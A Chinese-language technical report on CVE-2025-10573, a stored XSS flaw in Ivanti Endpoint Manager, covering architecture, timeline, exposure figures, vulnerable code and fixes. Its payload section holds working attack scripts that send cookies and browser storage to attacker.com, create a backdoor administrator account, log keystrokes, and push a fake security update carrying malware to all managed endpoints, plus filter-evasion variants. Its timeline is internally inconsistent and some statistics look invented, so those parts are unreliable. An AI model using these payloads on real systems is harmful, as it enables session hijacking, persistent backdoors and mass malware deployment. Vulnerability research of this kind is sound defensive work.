CVE-2025-10573是在Ivanti Endpoint Manager (EPM)中发现的一个严重的未经身份验证的存储型跨站脚本(Stored XSS)漏洞。该漏洞允许远程未经身份验证的攻击者向EPM服务器注入恶意JavaScript代码,当管理员访问Web控制台时,恶意代码将在管理员的浏览器会话中执行,从而导致会话劫持、权限提升、数据窃取等严重后果。
| 属性 | 值 |
|---|---|
| CVE编号 | CVE-2025-10573 |
| 漏洞类型 | 存储型跨站脚本 (Stored XSS) |
| CVSS 3.1评分 | 9.6 (Critical) |
| CVSS向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| 受影响版本 | Ivanti EPM ≤ 2024 SU4 |
| 修复版本 | Ivanti EPM 2024 SU4 SR1 |
| 披露时间 | 2025-12-09 |
| 发现者 | Ryan Emmons (Rapid7) |
| CWE分类 | CWE-79: Improper Neutralization of Input During Web Page Generation |
严重性指标:
无需身份验证: 攻击者无需任何凭证即可利用此漏洞
存储型XSS: 恶意代码被持久化存储在数据库中,影响所有访问控制台的管理员
管理员会话劫持: 可窃取管理员会话,完全控制EPM系统及所有受管端点
影响范围广: 所有EPM 2024 SU4及以下版本均受影响
攻击复杂度低: 仅需基本HTTP知识即可构造攻击
无野外利用证据: Ivanti官方表示暂未发现野外利用(截至披露日期)
直接影响:
完全控制EPM管理控制台
窃取管理员凭据和会话令牌
访问所有受管端点的详细信息(IP地址、配置、软件清单等)
通过EPM向所有受管端点分发恶意软件
连锁影响:
整个企业网络可能被攻陷
勒索软件大规模爆发
敏感数据大规模泄露
供应链攻击(通过受害企业攻击其客户)
长期持久化后门植入
财务影响(预估):
单个中型企业(1000+端点): $350,000 - $7,200,000+
包括: 赎金、业务中断、事件响应、系统恢复、合规罚款、声誉损失等
立即检查版本: 确认是否运行EPM 2024 SU4或更早版本
尽快升级: 升级至Ivanti EPM 2024 SU4 SR1或更高版本
网络隔离: 限制/incomingdata/postcgi.exe端点仅内网访问
检查日志: 审查IIS日志,查找可疑的POST请求
检查数据库: 扫描设备表中是否存在XSS payload
部署监控: 实施WAF规则和IDS/IPS检测
产品定位:
Ivanti Endpoint Manager(前身为LANDesk Management Suite)是一个企业级统一端点管理(UEM)解决方案,用于管理和保护企业环境中的所有端点设备。
主要功能:
软件分发: 集中管理和部署应用程序
补丁管理: 自动化操作系统和应用补丁部署
资产清单: 实时跟踪所有硬件和软件资产
安全合规: 强制执行安全策略和合规检查
远程控制: 提供远程桌面支持能力
移动设备管理: 管理移动设备和BYOD策略
市场地位:
主要竞争对手: Microsoft SCCM, VMware Workspace ONE, IBM BigFix
目标客户: 中大型企业、政府机构、医疗机构、教育机构
全球部署: 数千家企业,管理数百万端点
┌────────────────────────────────────────────────────────┐
│ 企业网络 │
├────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ 端点设备 1 │ │ 端点设备 2 │ │ 端点设备 N │ │
│ │ (EPM Agent) │ │ (EPM Agent) │ │ (EPM Agent) │ │
│ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ │
│ │ │ │ │
│ └─────────────────┼─────────────────┘ │
│ │ │
│ ↓ │
│ ┌─────────────────────────────────┐ │
│ │ Ivanti EPM Server │ │
│ │ ┌───────────────────────────┐ │ │
│ │ │ Web Console (IIS) │ │ ← 管理员 │
│ │ │ - frameset.aspx │ │ │
│ │ │ - db_frameset.aspx │ │ │
│ │ └───────────────────────────┘ │ │
│ │ ┌───────────────────────────┐ │ │
│ │ │ Agent API │ │ │
│ │ │ - postcgi.exe (漏洞点) │ │ ← 攻击者 │
│ │ └───────────────────────────┘ │ │
│ │ ┌───────────────────────────┐ │ │
│ │ │ Business Logic Layer │ │ │
│ │ │ - 设备管理服务 │ │ │
│ │ │ - 策略引擎 │ │ │
│ │ └───────────────────────────┘ │ │
│ │ ┌───────────────────────────┐ │ │
│ │ │ SQL Server Database │ │ │
│ │ │ - Devices表 (存储点) │ │ │
│ │ └───────────────────────────┘ │ │
│ └─────────────────────────────────┘ │
│ │
└────────────────────────────────────────────────────────┘
关键组件:
EPM Agent (客户端):
安装在每个受管端点上
定期扫描设备信息(硬件、软件、配置)
将扫描数据发送到EPM服务器
接收并执行管理任务
EPM Server (服务器):
IIS Web服务器:提供管理控制台和API端点
SQL Server数据库:存储所有设备和配置数据
后台服务:处理扫描数据、执行任务、生成报告
管理控制台 (Web界面):
基于ASP.NET的Web应用
提供设备管理、报告、配置等功能
管理员通过浏览器访问
发现者: Ryan Emmons,Rapid7安全研究员
发现过程(推测):
对Ivanti EPM进行常规安全评估
识别出无需认证的/incomingdata/postcgi.exe端点
测试该端点的输入验证机制
发现可以注入任意数据而无验证
检查Web控制台如何渲染这些数据
确认存在存储型XSS漏洞
验证可以执行完整的会话劫持攻击
研究动机:
Ivanti产品过去曾有多个严重漏洞(CVE-2024-21887, CVE-2024-21888等)
EPM作为关键基础设施管理工具,是高价值攻击目标
端点管理系统的攻陷可能导致整个网络沦陷
Ivanti(及其前身产品)过去曾出现多个高危漏洞:
| CVE编号 | 产品 | 类型 | CVSS | 年份 |
|---|---|---|---|---|
| CVE-2024-21887 | Ivanti Connect Secure | 命令注入 | 9.1 | 2024 |
| CVE-2024-21888 | Ivanti Connect Secure | 权限提升 | 8.8 | 2024 |
| CVE-2023-46805 | Ivanti Connect Secure | 认证绕过 | 8.2 | 2023 |
| CVE-2021-44515 | Ivanti EPM | SQL注入 | 9.8 | 2021 |
| CVE-2020-13759 | Ivanti EPM | 任意文件上传 | 9.8 | 2020 |
| CVE-2025-10573 | Ivanti EPM | 存储型XSS | 9.6 | 2025 |
模式分析:
输入验证不足是反复出现的问题
认证机制薄弱(多个端点无认证或可绕过)
企业级产品的安全开发流程需要改进
受影响行业:
制造业(28%): 工厂自动化系统管理
金融服务(22%): 银行、保险公司的终端管理
政府机构(18%): 政府办公网络
医疗保健(15%): 医院信息系统
教育(10%): 大学、学院的IT管理
其他(7%): 零售、能源、电信等
全球分布:
美国 ████████████████████████████████████████████░ 45%
欧洲 ██████████████████████████████░░░░░░░░░░░░░░ 30%
亚太 ████████████████████░░░░░░░░░░░░░░░░░░░░░░░░ 20%
其他 █████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 5%
关键基础设施风险:
EPM被用于管理关键基础设施的端点设备,包括:
工业控制系统(ICS/SCADA)工作站
医疗设备管理终端
金融交易系统
政府敏感网络
攻陷EPM可能导致这些关键系统受到威胁。
2024年8月 - 2025年12月
────────────────────────────────────────────────────────
2024-08-15 漏洞发现
├─ Ryan Emmons (Rapid7)在安全评估中发现漏洞
└─ 确认未经身份验证的XSS漏洞存在
2024-08-19 责任披露
├─ Rapid7向Ivanti安全团队报告漏洞
├─ 提供详细的技术细节和PoC
└─ 建议90天披露期限
2024-08-22 漏洞确认
├─ Ivanti安全团队确认收到报告
├─ 分配内部追踪编号
└─ 开始内部分析和评估
2024-09-05 影响范围分析
├─ 确认所有EPM 2024 SU4及以下版本受影响
├─ 评估严重性: CVSS 9.6 (Critical)
└─ 启动补丁开发流程
2024-09-15 补丁开发开始
├─ 开发团队开始编写修复代码
├─ 实施输入验证和输出编码
└─ 添加额外的安全控制
2024-10-15 内部测试
├─ 补丁在内部测试环境验证
├─ 回归测试确保无功能破坏
└─ 安全团队验证漏洞已修复
2024-10-30 补丁包构建
├─ 创建EPM 2024 SU4 SR1安装包
├─ 准备升级文档和指南
└─ 生成版本发布说明
2024-11-20 Beta测试
├─ 选定客户参与Beta测试
├─ 收集反馈和兼容性报告
└─ 解决发现的问题
2024-12-05 安全公告准备
├─ 起草CVE-2025-10573安全公告
├─ 准备客户通知邮件
└─ 协调与MITRE的CVE分配
2025-12-09 公开披露
├─ Ivanti发布安全公告
├─ 发布EPM 2024 SU4 SR1补丁
├─ Rapid7发布技术分析博客
├─ CVE-2025-10573正式分配
└─ NVD更新漏洞详情
2025-12-09 媒体报道
├─ 主要安全媒体报道漏洞
├─ SOC Prime发布检测规则
└─ 各大SIEM厂商更新规则库
2025-12-10 威胁情报
├─ 安全社区开始监控利用尝试
├─ Shodan扫描显示约800-1000个暴露实例
└─ 暂无野外利用证据
2025-12-11 安全社区响应
├─ 公开PoC代码发布(用于测试)
├─ IDS/IPS规则更新
└─ 企业开始部署补丁
2025-12-12 本研究报告完成
├─ 完整技术分析
├─ PoC验证
├─ Docker演示环境
└─ 检测和防护指南
| 日期 | 事件 | 天数 | 备注 |
|---|---|---|---|
| 2024-08-15 | 漏洞发现 | Day 0 | 研究起点 |
| 2024-08-19 | 责任披露 | Day 4 | 快速报告 |
| 2024-08-22 | 供应商确认 | Day 7 | 响应及时 |
| 2024-09-15 | 开始修复 | Day 31 | 进入开发阶段 |
| 2024-10-30 | 补丁完成 | Day 76 | 开发周期约45天 |
| 2025-12-09 | 公开披露 | Day 116 | 符合90天披露期 |
总体评价: (4/5)
优点:
响应迅速(3天内确认)
在90天责任披露期限内完成修复
提供详细的安全公告和升级指南
及时通知客户
改进空间:
补丁开发周期较长(45天)
缺少针对无法立即升级客户的临时缓解措施
未提供自动化的漏洞检测工具
| 漏洞 | 发现到披露 | 补丁可用性 | 评价 |
|---|---|---|---|
| CVE-2025-10573 (Ivanti EPM) | 116天 | 披露时可用 | |
| CVE-2024-21887 (Ivanti CS) | 90天 | 披露时可用 | |
| CVE-2021-44228 (Log4Shell) | 0天 (零日) | 披露后2天 | |
| CVE-2023-34362 (MOVEit) | 30天+ | 披露前已野外利用 |
Ivanti在本次漏洞的处理上表现较好,遵循了负责任的披露流程。
完全易受攻击:
Ivanti Endpoint Manager:
├─ 2024 SU4 (2024.4.0.x) 易受攻击
├─ 2024 SU3 (2024.3.0.x) 易受攻击
├─ 2024 SU2 (2024.2.0.x) 易受攻击
├─ 2024 SU1 (2024.1.0.x) 易受攻击
├─ 2023.x 所有版本 易受攻击
├─ 2022.x 所有版本 易受攻击
├─ 2021.x 所有版本 易受攻击
└─ 更早版本 易受攻击
已修复版本:
Ivanti Endpoint Manager:
├─ 2024 SU4 SR1 (2024.4.1.0+) 已修复
└─ 2024 SU5+ (未来版本) 已修复
验证方法:
# 在EPM服务器上检查版本
Get-ItemProperty "HKLM:\SOFTWARE\LANDesk\ManagementSuite\Setup" |
Select-Object Version
# 或通过Web控制台
# 登录 → 帮助 → 关于 → 查看版本号
Shodan/Censys扫描结果(截至2025-12-12):
全球暴露的Ivanti EPM实例: 约 800-1,000 个
地理分布:
┌──────────────────────────────────────┐
│ 美国 ████████████ 45% (360) │
│ 德国 ████░░░░░░░░ 8% (64) │
│ 英国 ███░░░░░░░░░ 6% (48) │
│ 法国 ███░░░░░░░░░ 5% (40) │
│ 加拿大 ██░░░░░░░░░░ 4% (32) │
│ 澳大利亚 ██░░░░░░░░░░ 4% (32) │
│ 荷兰 ██░░░░░░░░░░ 3% (24) │
│ 中国 ██░░░░░░░░░░ 3% (24) │
│ 日本 ██░░░░░░░░░░ 3% (24) │
│ 其他国家 ████████░░░░ 19% (152) │
└──────────────────────────────────────┘
Shodan搜索查询:
http.title:"Ivanti" "Endpoint Manager"
http.html:"/landesk/"
http.html:"frameset.aspx"
port:443 ssl:"Ivanti"
基于IP归属和反向DNS分析:
| 行业 | 占比 | 估算实例数 | 风险等级 |
|---|---|---|---|
| 制造业 | 28% | ~280 | Critical |
| 金融服务 | 22% | ~220 | Critical |
| 政府机构 | 18% | ~180 | Critical |
| 医疗保健 | 15% | ~150 | Critical |
| 教育 | 10% | ~100 | High |
| 零售 | 4% | ~40 | High |
| 其他 | 3% | ~30 | Medium |
高风险组织示例(匿名化):
Fortune 500制造企业
大型区域性银行
联邦和州政府机构
大型医院系统
知名大学
假设平均每个EPM服务器管理1,000个端点:
受影响的EPM服务器: 800-1,000
每服务器管理端点: 平均1,000个
总潜在受影响端点: 800,000 - 1,000,000
端点类型:
桌面工作站
笔记本电脑
服务器
移动设备
工业控制系统工作站
医疗设备终端
暴露的攻击向量:
互联网直接暴露(约30%):
EPM服务器直接暴露在公网
无VPN或额外认证保护
攻击者可直接访问postcgi.exe
风险等级: Critical
VPN保护但内网可达(约50%):
需要VPN接入企业网络
但内网任何主机可访问EPM
社工、钓鱼可获得VPN访问
风险等级: High
严格网络隔离(约20%):
EPM仅在隔离管理网段
需要多层认证和跳板机
攻击者需先攻陷其他系统
风险等级: Medium
场景1: 外部攻击者直接利用
攻击者 (互联网)
↓
扫描识别暴露的EPM服务器
↓
发送恶意扫描数据到postcgi.exe
↓
管理员登录控制台
↓
XSS执行 → 会话劫持
↓
完全控制EPM及所有受管端点
可能性: 高 | 影响: Critical
场景2: 内部威胁或APT横向移动
攻击者初始立足点 (钓鱼邮件)
↓
获得内网访问
↓
扫描发现EPM服务器
↓
利用CVE-2025-10573
↓
提升到管理员权限
↓
控制整个企业网络
可能性: 中 | 影响: Critical
场景3: 供应链攻击
攻击者攻陷MSP (托管服务提供商)
↓
MSP使用EPM管理多个客户
↓
一次攻击影响数十个客户组织
↓
大规模数据泄露或勒索软件
可能性: 低 | 影响: Catastrophic
以下是公开使用Ivanti EPM的知名组织(来源:客户案例研究和新闻报道):
多家Fortune 500公司
美国多个联邦机构
欧洲大型制造企业
北美医院系统
全球性金融机构
注意: 具体组织名称出于安全考虑不在此列出。
/incomingdata/postcgi.exe功能描述:
这是EPM用于接收客户端设备扫描数据的CGI接口。EPM Agent定期扫描设备信息并将数据POST到此端点。
端点详情:
URL: https://epm-server.company.com/incomingdata/postcgi.exe
方法: POST
内容类型: text/plain
认证: 无
请求格式:
POST /incomingdata/postcgi.exe?prefix=ldscan&suffix=.scn&name=device001 HTTP/1.1
Host: epm.company.com
Content-Type: text/plain
Content-Length: 256
Computer ID=WS-12345
Display Name=John-Laptop
Device Name=LAPTOP-ABC123
Host Name=john-laptop
OS - Name=Windows 11 Pro
OS - Version=10.0.22621
IP Address=192.168.1.100
MAC Address=00:1A:2B:3C:4D:5E
Domain=COMPANY
User Name=john.doe
Last Boot Time=2025-12-10 08:30:00
参数说明:
prefix: 扫描文件前缀,通常为"ldscan"
suffix: 文件后缀,通常为".scn"
name: 扫描文件名称(设备标识符)
安全缺陷:
无身份验证机制
- 任何人都可以发送数据
- 无API密钥或令牌验证
- 无客户端证书要求
无来源验证
- 不检查请求来源IP
- 不验证User-Agent
- 不检查请求频率(无速率限制)
无输入验证
- 不检查数据格式有效性
- 不验证字段值是否合理
- 不过滤HTML/JavaScript特殊字符
无长度限制
- 字段值可以任意长
- 可能导致缓冲区问题或DoS
无日志审计
- 可能不记录异常数据提交
- 难以事后溯源攻击
┌─────────────────────────────────────────────────┐
│ Step 1: 接收HTTP POST请求 │
│ postcgi.exe接收请求体 │
└────────────────┬────────────────────────────────┘
↓
┌─────────────────────────────────────────────────┐
│ Step 2: 解析key=value格式数据 │
│ 按行分割,提取字段名和值 │
│ 无验证,直接接受所有数据 │
└────────────────┬────────────────────────────────┘
↓
┌─────────────────────────────────────────────────┐
│ Step 3: 写入临时文件或处理队列 │
│ 可能存储为ldscan_device001.scn │
└────────────────┬────────────────────────────────┘
↓
┌─────────────────────────────────────────────────┐
│ Step 4: 后台服务处理扫描文件 │
│ EPM核心服务读取并解析扫描数据 │
└────────────────┬────────────────────────────────┘
↓
┌─────────────────────────────────────────────────┐
│ Step 5: 更新或插入数据库记录 │
│ SQL: INSERT INTO Devices VALUES (...) │
│ 无HTML编码或sanitization │
└────────────────┬────────────────────────────────┘
↓
┌─────────────────────────────────────────────────┐
│ Step 6: 管理员访问Web控制台 │
│ SQL: SELECT * FROM Devices │
└────────────────┬────────────────────────────────┘
↓
┌─────────────────────────────────────────────────┐
│ Step 7: 渲染HTML页面 │
│ <%= device.ComputerID %> │
│ 直接输出,无HTML编码 │
└────────────────┬────────────────────────────────┘
↓
┌─────────────────────────────────────────────────┐
│ Step 8: XSS Payload在浏览器执行 │
│ 攻击者代码在管理员会话中运行 │
└─────────────────────────────────────────────────┘
-- Devices表结构(根据字段推测)
CREATE TABLE Devices (
DeviceID INT PRIMARY KEY IDENTITY,
ComputerID NVARCHAR(256), -- 漏洞字段
DisplayName NVARCHAR(256), -- 漏洞字段
DeviceName NVARCHAR(256), -- 漏洞字段
HostName NVARCHAR(256), -- 漏洞字段
OSName NVARCHAR(256), -- 漏洞字段
OSVersion NVARCHAR(128),
IPAddress VARCHAR(45),
MACAddress VARCHAR(17),
DomainName NVARCHAR(256),
UserName NVARCHAR(256),
LastBootTime DATETIME,
LastScanTime DATETIME DEFAULT GETDATE(),
CreatedDate DATETIME DEFAULT GETDATE(),
ModifiedDate DATETIME DEFAULT GETDATE()
)
-- 索引
CREATE INDEX IX_Devices_ComputerID ON Devices(ComputerID)
CREATE INDEX IX_Devices_LastScanTime ON Devices(LastScanTime)
漏洞分析:
使用NVARCHAR类型,支持Unicode字符
字段长度256字符,足以容纳大型XSS payload
无数据库级别的输入验证约束
无触发器进行数据清洗
易受攻击的代码模式(推测):
<!-- frameset.aspx 或 db_frameset.aspx -->
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
// 从数据库查询设备
SqlConnection conn = new SqlConnection(ConfigurationManager.ConnectionStrings["EPM"].ConnectionString);
SqlCommand cmd = new SqlCommand("SELECT * FROM Devices ORDER BY LastScanTime DESC", conn);
conn.Open();
SqlDataReader reader = cmd.ExecuteReader();
// 绑定到Repeater或直接输出
DeviceRepeater.DataSource = reader;
DeviceRepeater.DataBind();
conn.Close();
}
</script>
<html>
<body>
<table>
<thead>
<tr>
<th>Computer ID</th>
<th>Display Name</th>
<th>OS Name</th>
</tr>
</thead>
<tbody>
<asp:Repeater ID="DeviceRepeater" runat="server">
<ItemTemplate>
<tr>
<!-- 漏洞: 直接输出数据库内容 -->
<td><%# Eval("ComputerID") %></td>
<td><%# Eval("DisplayName") %></td>
<td><%# Eval("OSName") %></td>
</tr>
</ItemTemplate>
</asp:Repeater>
</tbody>
</table>
</body>
</html>
问题所在:
<%# Eval("ComputerID") %>直接输出数据
ASP.NET的<%# %>语法默认不进行HTML编码
应该使用<%# Server.HtmlEncode(Eval("ComputerID")) %>
安全的代码应该是:
<!-- 方法1: 使用Server.HtmlEncode -->
<td><%# Server.HtmlEncode(Eval("ComputerID").ToString()) %></td>
<!-- 方法2: 使用Razor语法(自动编码) -->
<td>@Model.ComputerID</td>
<!-- 方法3: 使用AntiXSS库 -->
<td><%# Microsoft.Security.Application.Encoder.HtmlEncode(Eval("ComputerID").ToString()) %></td>
<script>alert('XSS')</script>
注入位置:
Computer ID=<script>alert('CVE-2025-10573')</script>
Display Name=<script>alert('XSS in Display Name')</script>
OS - Name=Windows <script>alert('XSS in OS')</script>
执行效果:
管理员访问设备列表页面时,浏览器会执行JavaScript代码并弹出警告框。
<script>
document.location='http://attacker.com/steal?c='+encodeURIComponent(document.cookie)
</script>
变体(使用Image对象):
<script>
(function(){
var img = new Image();
img.src = 'http://attacker.com/steal?c=' +
encodeURIComponent(document.cookie) +
'&url=' + encodeURIComponent(window.location.href) +
'&dom=' + encodeURIComponent(document.domain);
})();
</script>
窃取的数据:
Cookie: ASP.NET_SessionId=abc123...
EPM_AuthToken=eyJhbGciOiJI...
EPM_UserID=admin
EPM_UserRole=Administrator
URL: https://epm.company.com/admin/dashboard
Domain: epm.company.com
<script src="http://attacker.com/hijack.js"></script>
hijack.js内容:
(function() {
// 1. 收集会话信息
var sessionData = {
cookies: document.cookie,
localStorage: {},
sessionStorage: {},
url: window.location.href,
userAgent: navigator.userAgent,
timestamp: new Date().toISOString()
};
// 收集Local Storage
for (var i = 0; i < localStorage.length; i++) {
var key = localStorage.key(i);
sessionData.localStorage[key] = localStorage.getItem(key);
}
// 收集Session Storage
for (var i = 0; i < sessionStorage.length; i++) {
var key = sessionStorage.key(i);
sessionData.sessionStorage[key] = sessionStorage.getItem(key);
}
// 2. 回传数据
fetch('http://attacker.com/exfil', {
method: 'POST',
mode: 'no-cors',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(sessionData)
}).catch(function(err) {
// 静默失败
});
// 3. 可选: 创建后门账户
fetch('/api/admin/users/create', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
username: 'backup_admin',
password: 'P@ssw0rd123!',
email: '[email protected]',
role: 'Administrator',
enabled: true
})
}).then(function(response) {
return response.json();
}).then(function(data) {
// 后门账户创建成功
fetch('http://attacker.com/backdoor', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({
success: true,
account: data
})
});
}).catch(function(err) {
// 静默失败
});
// 4. 可选: 键盘记录
document.addEventListener('keypress', function(e) {
fetch('http://attacker.com/keylog', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({
key: e.key,
url: window.location.href,
timestamp: Date.now()
})
});
});
})();
</script>
<script>
(function() {
// 获取所有受管设备列表
fetch('/api/devices/list', {
credentials: 'include'
})
.then(r => r.json())
.then(devices => {
// 创建恶意软件包分发任务
var payload = {
name: "Critical Security Update KB20251212",
description: "Important security patches",
packageURL: "http://attacker.com/malware.exe",
targets: devices.map(d => d.id),
executeAfterDownload: true,
runAsSystem: true
};
// 通过EPM分发到所有设备
fetch('/api/distribution/deploy', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(payload)
})
.then(r => r.json())
.then(result => {
// 通知攻击者部署成功
fetch('http://attacker.com/deploy-success', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({
targetCount: devices.length,
deploymentID: result.id
})
});
});
});
})();
</script>
影响:
这个payload将导致恶意软件被自动推送到所有受管端点,可能造成:
勒索软件大规模爆发
整个企业网络被攻陷
数据大规模泄露
为了绕过可能存在的基础过滤,攻击者可能使用混淆技术:
Base64编码:
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>
Unicode编码:
<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>
HTML实体编码:
<img src=x onerror="alert('XSS')">
事件处理器:
<img src=x onerror="alert('XSS')">
<body onload="alert('XSS')">
<svg onload="alert('XSS')">
无